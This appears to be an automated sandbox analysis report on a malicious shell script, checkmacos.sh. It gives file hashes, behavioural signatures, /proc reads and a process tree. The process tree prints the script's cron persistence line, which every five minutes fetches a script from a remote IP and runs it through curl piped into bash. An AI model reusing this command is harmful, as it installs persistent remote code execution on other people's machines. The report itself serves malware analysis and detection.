Analysis
- max time kernel
0s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20251231-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20251231-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
13/01/2026, 16:20
Static task
static1
Behavioral task
behavioral1
Sample
checkmacos.sh
Resource
ubuntu1804-amd64-20251231-en
ubuntu-18.04-amd64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
checkmacos.sh
Resource
debian9-armhf-20251231-en
debian-9-armhf
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
checkmacos.sh
Resource
debian9-mipsbe-20251231-en
debian-9-mips
4 signatures
150 seconds
Behavioral task
behavioral4
Sample
checkmacos.sh
Resource
debian9-mipsel-20251231-en
debian-9-mipsel
4 signatures
150 seconds
General
- Target checkmacos.sh
- Size 993B
- Sample260113-ttd75act8f
- SHA256 0ffa6dafa8c65e522224da55752e0b4b8b5fb386719a866247e40e788f5fa0d1
- MD5 7f36c1055b23492035234453bbc5628c
- SHA1 095a91f6d8d9c7b4eaa714b5ff8a9722b6eaabd0
- SHA512 f9faccea719a47f3acad05652cbc6e0df0419d3f321d525fa908902b149b376dd6d4b38493697287715d624f4c7bc04f294b740991827b59a8516058ccbf4b18
- MD5 SHA1 SHA512
Malware Config
Signatures
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.GjonEU crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/1163/cmdline pgrep File opened for reading /proc/18/cmdline pgrep File opened for reading /proc/481/status pgrep File opened for reading /proc/1008/status pgrep File opened for reading /proc/1018/cmdline pgrep File opened for reading /proc/1353/status pgrep File opened for reading /proc/1389/cmdline pgrep File opened for reading /proc/674/cmdline pgrep File opened for reading /proc/1261/status pgrep File opened for reading /proc/1331/cmdline pgrep File opened for reading /proc/5/cmdline pgrep File opened for reading /proc/20/cmdline pgrep File opened for reading /proc/86/cmdline pgrep File opened for reading /proc/461/status pgrep File opened for reading /proc/543/cmdline pgrep File opened for reading /proc/612/status pgrep File opened for reading /proc/1062/status pgrep File opened for reading /proc/1101/status pgrep File opened for reading /proc/13/status pgrep File opened for reading /proc/522/cmdline pgrep File opened for reading /proc/9/status pgrep File opened for reading /proc/17/status pgrep File opened for reading /proc/84/status pgrep File opened for reading /proc/158/status pgrep File opened for reading /proc/202/status pgrep File opened for reading /proc/611/cmdline pgrep File opened for reading /proc/909/cmdline pgrep File opened for reading /proc/978/status pgrep File opened for reading /proc/2/status pgrep File opened for reading /proc/10/status pgrep File opened for reading /proc/162/status pgrep File opened for reading /proc/169/cmdline pgrep File opened for reading /proc/171/cmdline pgrep File opened for reading /proc/436/cmdline pgrep File opened for reading /proc/463/cmdline pgrep File opened for reading /proc/1059/status pgrep File opened for reading /proc/10/cmdline pgrep File opened for reading /proc/21/status pgrep File opened for reading /proc/173/status pgrep File opened for reading /proc/177/status pgrep File opened for reading /proc/909/status pgrep File opened for reading /proc/1048/cmdline pgrep File opened for reading /proc/1101/cmdline pgrep File opened for reading /proc/1170/status pgrep File opened for reading /proc/160/cmdline pgrep File opened for reading /proc/433/status pgrep File opened for reading /proc/720/status pgrep File opened for reading /proc/987/cmdline pgrep File opened for reading /proc/1074/cmdline pgrep File opened for reading /proc/1083/cmdline pgrep File opened for reading /proc/1106/cmdline pgrep File opened for reading /proc/1267/cmdline pgrep File opened for reading /proc/26/cmdline pgrep File opened for reading /proc/78/status pgrep File opened for reading /proc/79/cmdline pgrep File opened for reading /proc/480/status pgrep File opened for reading /proc/523/cmdline pgrep File opened for reading /proc/1187/cmdline pgrep File opened for reading /proc/1203/status pgrep File opened for reading /proc/25/status pgrep File opened for reading /proc/323/status pgrep File opened for reading /proc/327/cmdline pgrep File opened for reading /proc/450/status pgrep File opened for reading /proc/952/cmdline pgrep
Processes
-
/tmp/checkmacos.sh/tmp/checkmacos.sh1⤵PID:1529
-
/bin/grepgrep -Fq "*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://149.28.129.194/checkmacos.sh)' &"2⤵PID:1531
-
-
/usr/bin/crontabcrontab -l2⤵PID:1530
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1533
-
-
/usr/bin/crontabcrontab -l2⤵PID:1534
-
-
/usr/bin/pgreppgrep -f macos2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1535
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /var/spool/cron/crontabs/tmp.GjonEU
- Size 271B
- SHA256 2fc79123d1cde0e330a8ff4710141f2718a800605a12aa0e836c309fefd18f47
- MD5 3d80d0ec5cbbb9a2befe63f956725a94
- SHA1 527a1ddc08f9b491d440883eacdcb3fc8ffb86de
- SHA512 964a87addbbc6c0f1e535fce505ee71282c652fa89f6a206703ed0d530d283ffa4b210ea808f6524537d5a4413aeb148d4157d7228044dc6f704f9422a585b62
- TLSH T198D095997B286430574C4B94775746B99599906480DDBF60D0DC1838020735DBB66A31
- MD5 SHA1 SHA512 TLSH